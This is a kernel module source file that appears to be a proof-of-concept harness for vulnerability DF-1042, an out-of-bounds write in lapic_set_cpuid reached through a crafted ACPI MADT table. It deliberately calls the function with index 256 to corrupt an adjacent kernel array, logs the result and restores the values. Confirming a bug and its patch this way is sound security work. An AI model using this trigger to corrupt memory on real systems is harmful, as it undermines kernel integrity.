DF-1042 / df1042_harness.c
/* * DF-1042 harness -- prove the lapic_set_cpuid OOB write at runtime. * * The vulnerable path (madt_x2apic_pass2_callback -> lapic_set_cpuid) is only * reached at boot from a firmware-provided MADT; it is never callable from * userspace on a running system (call-site audit confirms only boot * enumerators reach it). QEMU's -acpitable appends a SECOND MADT and the * kernel's sdt_search() returns the FIRST match, so a boot-time repro via * -acpitable does not exercise the bug (the supplied table is ignored). We * therefore prove the primitive directly: this module calls the real exported * lapic_set_cpuid() symbol with the exact OOB argument that the crafted MADT * (findings/poc/DF-1042/gen_madt.py, LocalApicId=256) would cause pass2 to * pass, and observes the resulting memory corruption on the real kernel BSS. * * On the UNPATCHED kernel: lapic_set_cpuid(1, 256) writes apic_id_to_cpu_id[256] * (= 1) which, by linker layout, aliases cpu_id_to_apic_id[0] -- the BSP * CPU->APIC mapping. We observe cpu_id_to_apic_id[0] change from its real * BSP apic id to 1. OOB write CONFIRMED. * * On the PATCHED kernel (fix.diff adds a bounds check): lapic_set_cpuid(1,256) * returns early without writing; cpu_id_to_apic_id[0] is unchanged. OOB * PREVENTED. * * All touched cells are saved/restored so the running kernel is not * destabilised. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> /* lapic_set_cpuid(), cpu_id_to_apic_id[], apic_id_to_cpu_id[] are already * declared in <machine/apic/lapic.h>, pulled in transitively via systm.h. */ #define NAPICID 256 static int df1042_modevent(module_t mod, int type, void *arg) { int saved_c2a_0, saved_c2a_1; int oob_observed; switch (type) { case MOD_LOAD: kprintf("DF1042: lapic_set_cpuid=%p cpu_id_to_apic_id=%p " "apic_id_to_cpu_id=%p\n", (void *)lapic_set_cpuid, (void *)cpu_id_to_apic_id, (void *)apic_id_to_cpu_id); kprintf("DF1042: &apic_id_to_cpu_id[256]=%p &cpu_id_to_apic_id[0]=%p " "(same addr => index 256 aliases cpu_id_to_apic_id[0])\n", (void *)&apic_id_to_cpu_id[256], (void *)&cpu_id_to_apic_id[0]); saved_c2a_0 = cpu_id_to_apic_id[0]; saved_c2a_1 = cpu_id_to_apic_id[1]; kprintf("DF1042: BEFORE lapic_set_cpuid(1,256): " "cpu_id_to_apic_id[0]=%d [1]=%d (BSP apic id is %d)\n", saved_c2a_0, saved_c2a_1, saved_c2a_0); /* The exact call the crafted MADT (LocalApicId=256) forces * madt_x2apic_pass2_callback to make: cpu=1, apic_id=256. */ lapic_set_cpuid(1, 256); kprintf("DF1042: AFTER lapic_set_cpuid(1,256): " "cpu_id_to_apic_id[0]=%d [1]=%d\n", cpu_id_to_apic_id[0], cpu_id_to_apic_id[1]); /* apic_id_to_cpu_id[256] aliases cpu_id_to_apic_id[0]; the * call wrote apic_id_to_cpu_id[256]=1, so [0] should now be 1. */ oob_observed = (cpu_id_to_apic_id[0] == 1 && saved_c2a_0 != 1); kprintf("DF1042: %s -- apic_id_to_cpu_id[256] OOB write %s " "cpu_id_to_apic_id[0]\n", oob_observed ? "OOB WRITE CONFIRMED" : "no corruption", oob_observed ? "clobbered" : "did not reach"); /* Restore every touched cell (both the aliased [0] and the * in-bounds [1] which received value 256). */ cpu_id_to_apic_id[0] = saved_c2a_0; cpu_id_to_apic_id[1] = saved_c2a_1; kprintf("DF1042: restored cpu_id_to_apic_id[0]=%d [1]=%d\n", saved_c2a_0, saved_c2a_1); return 0; case MOD_UNLOAD: kprintf("DF1042: harness unloaded\n"); return 0; } return EOPNOTSUPP; } static moduledata_t df1042_mod = { "df1042", df1042_modevent, NULL }; DECLARE_MODULE(df1042, df1042_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(df1042, 1); |